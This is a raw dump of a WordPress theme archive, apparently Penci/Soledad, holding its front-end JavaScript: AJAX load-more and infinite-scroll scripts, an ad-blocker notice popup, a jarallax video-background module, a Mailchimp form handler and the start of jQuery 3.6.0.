        return;
    }
    var penci_slajax_more_scroll = function () {

        $('.penci-slajax-more-scroll .penci-ajax-more-button').each(function () {
            var $this_scroll = $(this);

            $(document).on('scroll', $this_scroll, function () {
                var hT = $this_scroll.offset().top,
                    hH = $this_scroll.outerHeight(),
                    wH = $(window).height(),
                    wS = $(this).scrollTop();

                if ((wS > (hT + hH - wH)) && $this_scroll.length) {
                    if (!$this_scroll.hasClass('loading-posts')) {
                        var wrapId = $this_scroll.data('id'),
                            parentclass = $this_scroll.closest('.pcnav-lgroup'),
                            wrapper = $this_scroll.closest('.penci-smalllist').find('.pcsl-inner'),
                            tag = $this_scroll.data('tag'),
                            cat = $this_scroll.data('cat'),
                            ppp = parentclass.data('ppp'),
                            maxitem = $this_scroll.data('max'),
                            author = $this_scroll.data('author'),
                            mes = $this_scroll.data('mes'),
                            type = $this_scroll.data('query_type'),
                            pagednum = parseInt($this_scroll.attr('data-pagednum')),
                            curpaged = pagednum;

                        var OBjBlockData = penciGetOBjBlockData($this_scroll.data('blockid')),
                            dataFilter = OBjBlockData.atts_json ? JSON.parse(OBjBlockData.atts_json) : OBjBlockData.atts_json;

                        $this_scroll.addClass('loading-posts');

                        var data = {
                            action: 'penci_more_slist_post_ajax',
                            datafilter: dataFilter,
                            id: wrapId,
                            tag: tag,
                            cat: cat,
                            author: author,
                            pagednum: pagednum,
                            type: type,
                            checkmore: true,
                            nonce: penci_smlajax.nonce,
                        };

                        $.ajax({
                            type: "POST",
                            dataType: "html",
                            url: ajax_var_more.url,
                            data: data,
                            success: function (data) {
                                if (data) {

                                    var data_paded = curpaged;

                                    if (data_paded <= 1) {
                                        parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                                    } else {
                                        parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                                    }

                                    if (data_paded * ppp >= maxitem) {
                                        parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                                    } else {
                                        parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                                    }

                                    $this_scroll.attr('data-pagednum', curpaged + 1);

                                    wrapper.append(data);

                                    $(".penci-wrapper-smalllist").fitVids();

                                    $('body').trigger( 'penci_swiper_sliders' );

                                    if ($().easyPieChart) {
                                        $('.penci-piechart').each(function () {
                                            var $this = $(this);
                                            $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                var chart_args = {
                                                    barColor: $this.data('color'),
                                                    trackColor: $this.data('trackcolor'),
                                                    scaleColor: false,
                                                    lineWidth: $this.data('thickness'),
                                                    size: $this.data('size'),
                                                    animate: 1000
                                                };
                                                $this.easyPieChart(chart_args);
                                            }); // bind inview
                                        }); // each
                                    }

                                    var $justified_gallery = $('.penci-post-gallery-container.justified');
                                    var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                                    if ($().justifiedGallery && $justified_gallery.length) {
                                        $('.penci-post-gallery-container.justified').each(function () {
                                            var $this = $(this);
                                            $this.justifiedGallery({
                                                rowHeight: $this.data('height'),
                                                lastRow: 'nojustify',
                                                margins: $this.data('margin'),
                                                randomize: false
                                            });
                                        }); // each .penci-post-gallery-container
                                    }

                                    if ($().isotope && $masonry_gallery.length) {

                                        $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                            var $this = $(this);
                                            if ($this.attr('title')) {
                                                var $title = $this.attr('title');
                                                $this.children().append('<div class="caption">' + $title + '</div>');
                                            }
                                        });
                                    }

                                    if ($masonry_gallery.length) {
                                        $masonry_gallery.each(function () {
                                            var $this = $(this);
                                            $this.imagesLoaded(function () {
                                                // initialize isotope
                                                $this.isotope({
                                                    itemSelector: '.item-gallery-masonry',
                                                    transitionDuration: '.55s',
                                                    layoutMode: 'masonry'
                                                });

                                                $this.addClass('loaded');

                                                $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                                    var $this = $(this);
                                                    $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                        $this.addClass('animated');
                                                    }); // inview
                                                }); // each
                                            });
                                        });
                                    }

                                    if ($().theiaStickySidebar) {
                                        var top_margin = 90;
                                        if ($('body').hasClass('admin-bar')) {
                                            top_margin = 122;
                                        }
                                        $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                            // settings
                                            additionalMarginTop: top_margin
                                        });
                                    } // if sticky
                                    $this_scroll.removeClass('loading-posts');
                                    $(document).trigger('penci_bf_check');
                                } else {
                                    $this_scroll.find(".ajax-more-text").text(mes);
                                    $this_scroll.find("i").remove();
                                    $this_scroll.removeClass('loading-posts');
                                    setTimeout(function () {
                                        $this_scroll.parent().remove();
                                    }, 1200);
                                }
                            }
                        });
                    }
                }
            });
        });
    };

    penci_slajax_more_scroll();

    $(document).on('pajax-tab-loaded',function (){
        penci_slajax_more_scroll();
    });


    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    }
});
PK     N\Q      js/archive-more-post.min.jsnu [        jQuery(function(a){"use strict";function e(){a("body").on("click",".penci-ajax-arch .penci-ajax-more-button",function(e){e.preventDefault(),i(a(this))})}function t(){var e=a(".penci-ajax-arch"),t=e.find(".penci-ajax-more-button");e.hasClass("penci-infinite-scroll")&&a(window).on("scroll",function(){var e=t.offset().top,n=t.outerHeight(),r=a(window).height(),o=a(this).scrollTop();o>e+n-r&&t.length&&i(t)}).trigger("scroll")}function i(e){if(e.hasClass("loading-posts"))return!1;var t=e.data("layout"),i=e.data("number"),n=e.data("mes"),r=e.attr("data-offset"),o=(e.data("exclude"),e.data("from")),s=e.data("template"),c=e.data("archivetype"),l=e.data("archivevalue"),d=e.data("order");e.addClass("loading-posts");var p="order="+d+"&offset="+r+"&layout="+t+"&from="+o+"&template="+s+"&ppp="+i+"&archivetype="+c+"&archivevalue="+l+"&action=penci_archive_more_post_ajax&nonce="+pcajaxamore_scroll.nonce;a.ajax({type:"POST",dataType:"html",url:ajax_var_more.archive_more_url,data:p,success:function(o){if(!o)return e.find(".ajax-more-text").text(n),e.find("i").remove(),e.removeClass("loading-posts"),setTimeout(function(){e.parent().remove()},1200),!1;var s,c=parseInt(r)+i,l=e.parent().parent().find(".penci-wrapper-data");try{s=JSON.parse(o)}catch(e){s=a(o)}if(e.attr("data-offset",c),"masonry"===t||"masonry-2"===t)l.append(s).isotope("appended",s).imagesLoaded(function(){l.isotope("layout")}),a(".container").fitVids(),a().easyPieChart&&a(".penci-piechart").each(function(){var e=a(this);e.one("inview",function(a,t,i,n){var r={barColor:e.data("color"),trackColor:e.data("trackcolor"),scaleColor:!1,lineWidth:e.data("thickness"),size:e.data("size"),animate:1e3};e.easyPieChart(r)})});else{l.append(s),a(".container").fitVids(),a("body").trigger("penci_swiper_sliders"),a().easyPieChart&&a(".penci-piechart").each(function(){var e=a(this);e.one("inview",function(a,t,i,n){var r={barColor:e.data("color"),trackColor:e.data("trackcolor"),scaleColor:!1,lineWidth:e.data("thickness"),size:e.data("size"),animate:1e3};e.easyPieChart(r)})});var d=a(".penci-post-gallery-container.justified"),p=a(".penci-post-gallery-container.masonry");if(a().justifiedGallery&&d.length&&a(".penci-post-gallery-container.justified").each(function(){var e=a(this);e.justifiedGallery({rowHeight:e.data("height"),lastRow:"nojustify",margins:e.data("margin"),randomize:!1})}),a().isotope&&p.length&&a(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var e=a(this);if(e.attr("title")){var t=e.attr("title");e.children().append('<div class="caption">'+t+"</div>")}}),p.length&&p.each(function(){var e=a(this);e.imagesLoaded(function(){e.isotope({itemSelector:".item-gallery-masonry",transitionDuration:".55s",layoutMode:"masonry"}),e.addClass("loaded"),a(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var e=a(this);e.one("inview",function(a,t,i,n){e.addClass("animated")})})})}),a().theiaStickySidebar){var h=90;a("body").hasClass("admin-bar")&&(h=122),a("#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar").theiaStickySidebar({additionalMarginTop:h})}}a("body").trigger("penci_swiper_sliders"),e.removeClass("loading-posts"),a(document).trigger("penci_bf_check")},error:function(a,e,t){console.log(a+" :: "+e+" :: "+t)}})}a(document).ready(function(){e(),t()})});PK     N\E      js/detector.min.jsnu [        (function(e){"use strict";var o=o||{};o.AdBlocker=function(){if(penci_options_set.ad_blocker_detector){var t=e(".Ad-Container");t.length>0&&"none"===t.css("display")&&e(".penci-adblocker-popup").length>0&&(penci_options_set.ad_blocker_detector_delay?setTimeout(function(){o.ShowAdBLockerNotice()},penci_options_set.ad_blocker_detector_delay):o.ShowAdBLockerNotice())}},o.ShowAdBLockerNotice=function(){o.getcookie("penci_adblocker_popup_onetime")||e.magnificPopup.open({items:{src:".penci-adblocker-popup"},type:"inline",removalDelay:500,tClose:!1,tLoading:!1,closeOnBgClick:!1,callbacks:{beforeOpen:function(){this.st.mainClass="mfp-ani-wrap penci-promo-popup-wrapper"},close:function(){penci_options_set.penci_adblocker_popup_onetime&&o.setcookie("penci_adblocker_popup_onetime","1")}}})},o.getcookie=function(e){let o=e+"=",t=decodeURIComponent(document.cookie),n=t.split(";");for(let e=0;e<n.length;e++){let t=n[e];for(;" "==t.charAt(0);)t=t.substring(1);if(0==t.indexOf(o))return t.substring(o.length,t.length)}return""},o.setcookie=function(e,o,t){const n=new Date;n.setTime(n.getTime()+24*t*60*60*1e3);let c="expires="+n.toUTCString();document.cookie=e+"="+o+";"+c+";path=/"},e(document).ready(function(){o.AdBlocker()})})(jQuery);PK     N\5D  D    js/video-background.jsnu [        !function(o){var i={};function n(e){if(i[e])return i[e].exports;var t=i[e]={i:e,l:!1,exports:{}};return o[e].call(t.exports,t,t.exports,n),t.l=!0,t.exports}n.m=o,n.c=i,n.d=function(e,t,o){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:o})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(o,i,function(e){return t[e]}.bind(null,i));return o},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=6)}([,,function(e,t){e.exports=function(e){"complete"===document.readyState||"interactive"===document.readyState?e.call():document.attachEvent?document.attachEvent("onreadystatechange",function(){"interactive"===document.readyState&&e.call()}):document.addEventListener&&document.addEventListener("DOMContentLoaded",e)}},function(o,e,t){(function(e){var t="undefined"!=typeof window?window:void 0!==e?e:"undefined"!=typeof self?self:{};o.exports=t}).call(this,t(4))},function(e,t){function o(e){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var i=function(){return this}();try{i=i||new Function("return this")()}catch(e){"object"===("undefined"==typeof window?"undefined":o(window))&&(i=window)}e.exports=i},,function(e,t,o){e.exports=o(7)},function(e,t,o){"use strict";o.r(t);var i=o(8),n=o(3),a=o.n(n),r=o(2),l=o.n(r),p=o(9);a.a.VideoWorker=a.a.VideoWorker||i.default,Object(p.default)(),l()(function(){void 0!==a.a.jarallax&&a.a.jarallax(document.querySelectorAll("[data-jarallax-video]"))})},function(e,t,o){"use strict";o.r(t),o.d(t,"default",function(){return v});var i=o(3),s=o.n(i);function n(e){return(n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function a(e,t){for(var o=0;o<t.length;o++){var i=t[o];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function r(){this.doneCallbacks=[],this.failCallbacks=[]}r.prototype={execute:function(e,t){var o=e.length;for(t=Array.prototype.slice.call(t);o;)e[--o].apply(null,t)},resolve:function(){for(var e=arguments.length,t=new Array(e),o=0;o<e;o++)t[o]=arguments[o];this.execute(this.doneCallbacks,t)},reject:function(){for(var e=arguments.length,t=new Array(e),o=0;o<e;o++)t[o]=arguments[o];this.execute(this.failCallbacks,t)},done:function(e){this.doneCallbacks.push(e)},fail:function(e){this.failCallbacks.push(e)}};var l=0,p=0,u=0,d=0,c=0,y=new r,m=new r,v=function(){function i(e,t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i);var o=this;o.url=e,o.options_default={autoplay:!1,loop:!1,mute:!1,volume:100,showContols:!0,startTime:0,endTime:0},o.options=o.extend({},o.options_default,t),o.videoID=o.parseURL(e),o.videoID&&(o.ID=l,l+=1,o.loadAPI(),o.init())}var e,t,o;return e=i,(t=[{key:"extend",value:function(){for(var e=arguments.length,o=new Array(e),t=0;t<e;t++)o[t]=arguments[t];var i=o[0]||{};return Object.keys(o).forEach(function(t){o[t]&&Object.keys(o[t]).forEach(function(e){i[e]=o[t][e]})}),i}},{key:"parseURL",value:function(e){var t,o,i,n,a,r=!(!(t=e.match(/.*(?:youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=)([^#\&\?]*).*/))||11!==t[1].length)&&t[1],l=!(!(o=e.match(/https?:\/\/(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/([^\/]*)\/videos\/|album\/(\d+)\/video\/|video\/|)(\d+)(?:$|\/|\?)/))||!o[3])&&o[3],p=(i=e.split(/,(?=mp4\:|webm\:|ogv\:|ogg\:)/),n={},a=0,i.forEach(function(e){var t=e.match(/^(mp4|webm|ogv|ogg)\:(.*)/);t&&t[1]&&t[2]&&(n["ogv"===t[1]?"ogg":t[1]]=t[2],a=1)}),!!a&&n);return r?(this.type="youtube",r):l?(this.type="vimeo",l):!!p&&(this.type="local",p)}},{key:"isValid",value:function(){return!!this.videoID}},{key:"on",value:function(e,t){this.userEventsList=this.userEventsList||[],(this.userEventsList[e]||(this.userEventsList[e]=[])).push(t)}},{key:"off",value:function(o,i){var n=this;this.userEventsList&&this.userEventsList[o]&&(i?this.userEventsList[o].forEach(function(e,t){e===i&&(n.userEventsList[o][t]=!1)}):delete this.userEventsList[o])}},{key:"fire",value:function(e){for(var t=this,o=arguments.length,i=new Array(1<o?o-1:0),n=1;n<o;n++)i[n-1]=arguments[n];this.userEventsList&&void 0!==this.userEventsList[e]&&this.userEventsList[e].forEach(function(e){e&&e.apply(t,i)})}},{key:"play",value:function(e){var t=this;t.player&&("youtube"===t.type&&t.player.playVideo&&(void 0!==e&&t.player.seekTo(e||0),s.a.YT.PlayerState.PLAYING!==t.player.getPlayerState()&&t.player.playVideo()),"vimeo"===t.type&&(void 0!==e&&t.player.setCurrentTime(e),t.player.getPaused().then(function(e){e&&t.player.play()})),"local"===t.type&&(void 0!==e&&(t.player.currentTime=e),t.player.paused&&t.player.play()))}},{key:"pause",value:function(){var t=this;t.player&&("youtube"===t.type&&t.player.pauseVideo&&s.a.YT.PlayerState.PLAYING===t.player.getPlayerState()&&t.player.pauseVideo(),"vimeo"===t.type&&t.player.getPaused().then(function(e){e||t.player.pause()}),"local"===t.type&&(t.player.paused||t.player.pause()))}},{key:"mute",value:function(){var e=this;e.player&&("youtube"===e.type&&e.player.mute&&e.player.mute(),"vimeo"===e.type&&e.player.setVolume&&e.player.setVolume(0),"local"===e.type&&(e.$video.muted=!0))}},{key:"unmute",value:function(){var e=this;e.player&&("youtube"===e.type&&e.player.mute&&e.player.unMute(),"vimeo"===e.type&&e.player.setVolume&&e.player.setVolume(e.options.volume),"local"===e.type&&(e.$video.muted=!1))}},{key:"setVolume",value:function(e){var t=0<arguments.length&&void 0!==e&&e,o=this;o.player&&t&&("youtube"===o.type&&o.player.setVolume&&o.player.setVolume(t),"vimeo"===o.type&&o.player.setVolume&&o.player.setVolume(t),"local"===o.type&&(o.$video.volume=t/100))}},{key:"getVolume",value:function(t){var e=this;e.player?("youtube"===e.type&&e.player.getVolume&&t(e.player.getVolume()),"vimeo"===e.type&&e.player.getVolume&&e.player.getVolume().then(function(e){t(e)}),"local"===e.type&&t(100*e.$video.volume)):t(!1)}},{key:"getMuted",value:function(t){var e=this;e.player?("youtube"===e.type&&e.player.isMuted&&t(e.player.isMuted()),"vimeo"===e.type&&e.player.getVolume&&e.player.getVolume().then(function(e){t(!!e)}),"local"===e.type&&t(e.$video.muted)):t(null)}},{key:"getImageURL",value:function(t){var e,o,i,n,a=this;a.videoImage?t(a.videoImage):("youtube"===a.type&&(e=["maxresdefault","sddefault","hqdefault","0"],o=0,(i=new Image).onload=function(){120!==(this.naturalWidth||this.width)||o===e.length-1?(a.videoImage="https://img.youtube.com/vi/".concat(a.videoID,"/").concat(e[o],".jpg"),t(a.videoImage)):(o+=1,this.src="https://img.youtube.com/vi/".concat(a.videoID,"/").concat(e[o],".jpg"))},i.src="https://img.youtube.com/vi/".concat(a.videoID,"/").concat(e[o],".jpg")),"vimeo"===a.type&&((n=new XMLHttpRequest).open("GET","https://vimeo.com/api/v2/video/".concat(a.videoID,".json"),!0),n.onreadystatechange=function(){var e;4===this.readyState&&200<=this.status&&this.status<400&&(e=JSON.parse(this.responseText),a.videoImage=e[0].thumbnail_large,t(a.videoImage))},n.send(),n=null))}},{key:"getIframe",value:function(e){this.getVideo(e)}},{key:"getVideo",value:function(p){var u=this;u.$video?p(u.$video):u.onAPIready(function(){var e,t,o,i,n,a,r,l;u.$video||((e=document.createElement("div")).style.display="none"),"youtube"===u.type&&(u.playerOptions={},u.playerOptions.videoId=u.videoID,u.playerOptions.playerVars={autohide:1,rel:0,autoplay:0,playsinline:1},u.options.showContols||(u.playerOptions.playerVars.iv_load_policy=3,u.playerOptions.playerVars.modestbranding=1,u.playerOptions.playerVars.controls=0,u.playerOptions.playerVars.showinfo=0,u.playerOptions.playerVars.disablekb=1),u.playerOptions.events={onReady:function(t){u.options.mute?t.target.mute():u.options.volume&&t.target.setVolume(u.options.volume),u.options.autoplay&&u.play(u.options.startTime),u.fire("ready",t),u.options.loop&&!u.options.endTime&&(u.options.endTime=u.player.getDuration()-.1),setInterval(function(){u.getVolume(function(e){u.options.volume!==e&&(u.options.volume=e,u.fire("volumechange",t))})},150)},onStateChange:function(e){u.options.loop&&e.data===s.a.YT.PlayerState.ENDED&&u.play(u.options.startTime),t||e.data!==s.a.YT.PlayerState.PLAYING||(t=1,u.fire("started",e)),e.data===s.a.YT.PlayerState.PLAYING&&u.fire("play",e),e.data===s.a.YT.PlayerState.PAUSED&&u.fire("pause",e),e.data===s.a.YT.PlayerState.ENDED&&u.fire("ended",e),e.data===s.a.YT.PlayerState.PLAYING?o=setInterval(function(){u.fire("timeupdate",e),u.options.endTime&&u.player.getCurrentTime()>=u.options.endTime&&(u.options.loop?u.play(u.options.startTime):u.pause())},150):clearInterval(o)},onError:function(e){u.fire("error",e)}},(i=!u.$video)&&((n=document.createElement("div")).setAttribute("id",u.playerID),e.appendChild(n),document.body.appendChild(e)),u.player=u.player||new s.a.YT.Player(u.playerID,u.playerOptions),i&&(u.$video=document.getElementById(u.playerID),u.videoWidth=parseInt(u.$video.getAttribute("width"),10)||1280,u.videoHeight=parseInt(u.$video.getAttribute("height"),10)||720)),"vimeo"===u.type&&(u.playerOptions={id:u.videoID,autopause:0,transparent:0,autoplay:u.options.autoplay?1:0,loop:u.options.loop?1:0,muted:u.options.mute?1:0},u.options.volume&&(u.playerOptions.volume=u.options.volume),u.options.showContols||(u.playerOptions.badge=0,u.playerOptions.byline=0,u.playerOptions.portrait=0,u.playerOptions.title=0,u.playerOptions.background=1),u.$video||(a="",Object.keys(u.playerOptions).forEach(function(e){""!==a&&(a+="&"),a+="".concat(e,"=").concat(encodeURIComponent(u.playerOptions[e]))}),u.$video=document.createElement("iframe"),u.$video.setAttribute("id",u.playerID),u.$video.setAttribute("src","https://player.vimeo.com/video/".concat(u.videoID,"?").concat(a)),u.$video.setAttribute("frameborder","0"),u.$video.setAttribute("mozallowfullscreen",""),u.$video.setAttribute("allowfullscreen",""),e.appendChild(u.$video),document.body.appendChild(e)),u.player=u.player||new s.a.Vimeo.Player(u.$video,u.playerOptions),u.options.startTime&&u.options.autoplay&&u.player.setCurrentTime(u.options.startTime),u.player.getVideoWidth().then(function(e){u.videoWidth=e||1280}),u.player.getVideoHeight().then(function(e){u.videoHeight=e||720}),u.player.on("timeupdate",function(e){r||(u.fire("started",e),r=1),u.fire("timeupdate",e),u.options.endTime&&u.options.endTime&&e.seconds>=u.options.endTime&&(u.options.loop?u.play(u.options.startTime):u.pause())}),u.player.on("play",function(e){u.fire("play",e),u.options.startTime&&0===e.seconds&&u.play(u.options.startTime)}),u.player.on("pause",function(e){u.fire("pause",e)}),u.player.on("ended",function(e){u.fire("ended",e)}),u.player.on("loaded",function(e){u.fire("ready",e)}),u.player.on("volumechange",function(e){u.fire("volumechange",e)}),u.player.on("error",function(e){u.fire("error",e)})),"local"===u.type&&(u.$video||(u.$video=document.createElement("video"),u.options.showContols&&(u.$video.controls=!0),u.options.mute?u.$video.muted=!0:u.$video.volume&&(u.$video.volume=u.options.volume/100),u.options.loop&&(u.$video.loop=!0),u.$video.setAttribute("playsinline",""),u.$video.setAttribute("webkit-playsinline",""),u.$video.setAttribute("id",u.playerID),e.appendChild(u.$video),document.body.appendChild(e),Object.keys(u.videoID).forEach(function(e){var t,o,i,n;t=u.$video,o=u.videoID[e],i="video/".concat(e),(n=document.createElement("source")).src=o,n.type=i,t.appendChild(n)})),u.player=u.player||u.$video,u.player.addEventListener("playing",function(e){l||u.fire("started",e),l=1}),u.player.addEventListener("timeupdate",function(e){u.fire("timeupdate",e),u.options.endTime&&u.options.endTime&&this.currentTime>=u.options.endTime&&(u.options.loop?u.play(u.options.startTime):u.pause())}),u.player.addEventListener("play",function(e){u.fire("play",e)}),u.player.addEventListener("pause",function(e){u.fire("pause",e)}),u.player.addEventListener("ended",function(e){u.fire("ended",e)}),u.player.addEventListener("loadedmetadata",function(){u.videoWidth=this.videoWidth||1280,u.videoHeight=this.videoHeight||720,u.fire("ready"),u.options.autoplay&&u.play(u.options.startTime)}),u.player.addEventListener("volumechange",function(e){u.getVolume(function(e){u.options.volume=e}),u.fire("volumechange",e)}),u.player.addEventListener("error",function(e){u.fire("error",e)})),p(u.$video)})}},{key:"init",value:function(){this.playerID="VideoWorker-".concat(this.ID)}},{key:"loadAPI",value:function(){if(!p||!u){var e,t,o="";if("youtube"!==this.type||p||(p=1,o="https://www.youtube.com/iframe_api"),"vimeo"===this.type&&!u){if(u=1,void 0!==s.a.Vimeo)return;o="https://player.vimeo.com/api/player.js"}o&&(e=document.createElement("script"),t=document.getElementsByTagName("head")[0],e.src=o,t.appendChild(e),e=t=null)}}},{key:"onAPIready",value:function(e){var t;"youtube"===this.type&&(void 0!==s.a.YT&&0!==s.a.YT.loaded||d?"object"===n(s.a.YT)&&1===s.a.YT.loaded?e():y.done(function(){e()}):(d=1,window.onYouTubeIframeAPIReady=function(){window.onYouTubeIframeAPIReady=null,y.resolve("done"),e()})),"vimeo"===this.type&&(void 0!==s.a.Vimeo||c?void 0!==s.a.Vimeo?e():m.done(function(){e()}):(c=1,t=setInterval(function(){void 0!==s.a.Vimeo&&(clearInterval(t),m.resolve("done"),e())},20))),"local"===this.type&&e()}}])&&a(e.prototype,t),o&&a(e,o),i}()},function(e,t,o){"use strict";o.r(t),o.d(t,"default",function(){return n});var r=o(8),i=o(3),p=o.n(i);function n(){var e,t,l,o,n,i,a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:p.a.jarallax;void 0!==a&&(e=a.constructor,t=e.prototype.onScroll,e.prototype.onScroll=function(){var o=this;t.apply(o),o.isVideoInserted||!o.video||o.options.videoLazyLoading&&!o.isElementInViewport||o.options.disableVideo()||(o.isVideoInserted=!0,o.video.getVideo(function(e){var t=e.parentNode;o.css(e,{position:o.image.position,top:"0px",left:"0px",right:"0px",bottom:"0px",width:"100%",height:"100%",maxWidth:"none",maxHeight:"none",pointerEvents:"none",transformStyle:"preserve-3d",backfaceVisibility:"hidden",willChange:"transform,opacity",margin:0,zIndex:-1}),o.$video=e,"local"===o.video.type&&(o.image.src?o.$video.setAttribute("poster",o.image.src):o.image.$item&&"IMG"===o.image.$item.tagName&&o.image.$item.src&&o.$video.setAttribute("poster",o.image.$item.src)),o.image.$container.appendChild(e),t.parentNode.removeChild(t)}))},l=e.prototype.coverImage,e.prototype.coverImage=function(){var e,t,o,i,n=this,a=l.apply(n),r=!!n.image.$item&&n.image.$item.nodeName;return a&&n.video&&r&&("IFRAME"===r||"VIDEO"===r)&&(t=(e=a.image.height)*n.image.width/n.image.height,o=(a.container.width-t)/2,i=a.image.marginTop,a.container.width>t&&(e=(t=a.container.width)*n.image.height/n.image.width,o=0,i+=(a.image.height-e)/2),"IFRAME"===r&&(e+=400,i-=200),n.css(n.$video,{width:"".concat(t,"px"),marginLeft:"".concat(o,"px"),height:"".concat(e,"px"),marginTop:"".concat(i,"px")})),a},o=e.prototype.initImg,e.prototype.initImg=function(){var e=this,t=o.apply(e);return e.options.videoSrc||(e.options.videoSrc=e.$item.getAttribute("data-jarallax-video")||null),e.options.videoSrc?(e.defaultInitImgResult=t,!0):t},n=e.prototype.canInitParallax,e.prototype.canInitParallax=function(){var o=this,e=n.apply(o);if(!o.options.videoSrc)return e;var t=new r.default(o.options.videoSrc,{autoplay:!0,loop:o.options.videoLoop,showContols:!1,startTime:o.options.videoStartTime||0,endTime:o.options.videoEndTime||0,mute:o.options.videoVolume?0:1,volume:o.options.videoVolume||0});function i(){o.image.$default_item&&(o.image.$item=o.image.$default_item,o.image.$item.style.display="block",o.coverImage(),o.clipContainer(),o.onScroll())}if(t.isValid())if(this.options.disableParallax()&&(e=!0,o.image.position="absolute",o.options.type="scroll",o.options.speed=1),e){if(t.on("ready",function(){var e;o.options.videoPlayOnlyVisible?(e=o.onScroll,o.onScroll=function(){e.apply(o),o.videoError||!o.options.videoLoop&&(o.options.videoLoop||o.videoEnded)||(o.isVisible()?t.play():t.pause())}):t.play()}),t.on("started",function(){o.image.$default_item=o.image.$item,o.image.$item=o.$video,o.image.width=o.video.videoWidth||1280,o.image.height=o.video.videoHeight||720,o.coverImage(),o.clipContainer(),o.onScroll(),o.image.$default_item&&(o.image.$default_item.style.display="none")}),t.on("ended",function(){o.videoEnded=!0,o.options.videoLoop||i()}),t.on("error",function(){o.videoError=!0,i()}),o.video=t,!o.defaultInitImgResult&&(o.image.src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7","local"!==t.type))return t.getImageURL(function(e){o.image.bgImage='url("'.concat(e,'")'),o.init()}),!1}else o.defaultInitImgResult||t.getImageURL(function(e){var t=o.$item.getAttribute("style");t&&o.$item.setAttribute("data-jarallax-original-styles",t),o.css(o.$item,{"background-image":'url("'.concat(e,'")'),"background-position":"center","background-size":"cover"})});return e},i=e.prototype.destroy,e.prototype.destroy=function(){var e=this;e.image.$default_item&&(e.image.$item=e.image.$default_item,delete e.image.$default_item),i.apply(e)})}}]);PK     N\Kh,i      js/mc4wp-form.jsnu [        jQuery(document).ready(function ($) {
  $(document).on('submit','.mc4wp-form',function (e){
    e.preventDefault();

    var form = $(this),
        formData = form.serialize();

    form.addClass('loading');

    // Send the AJAX request
    $.ajax({
      url: form.attr('action'),
      type: 'POST',
      data: formData,
      success: function(data) {
        var $html = $(data),
          $message = $html.find('.mc4wp-response').html();
          $('body').append('<div class="penciwp-notice-form"><div class="penciwp-notice-form-inner"><a class="pcwp-close-btn"></a>'+$message+'</div></div>');
      },
      error: function(xhr, status, error) {
        // Handle any errors
        console.error('Error:', error);
        alert('There was an error with the submission.');
      },
      complete: function (){
        form.removeClass('loading');
      }
    });
  });
  $(document).on('click','.pcwp-close-btn',function (e){
    e.preventDefault();
    $('.penciwp-notice-form').remove();
  });
});PK     N\hՆޱ] ]   js/jquery.min.jsnu [        /*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return 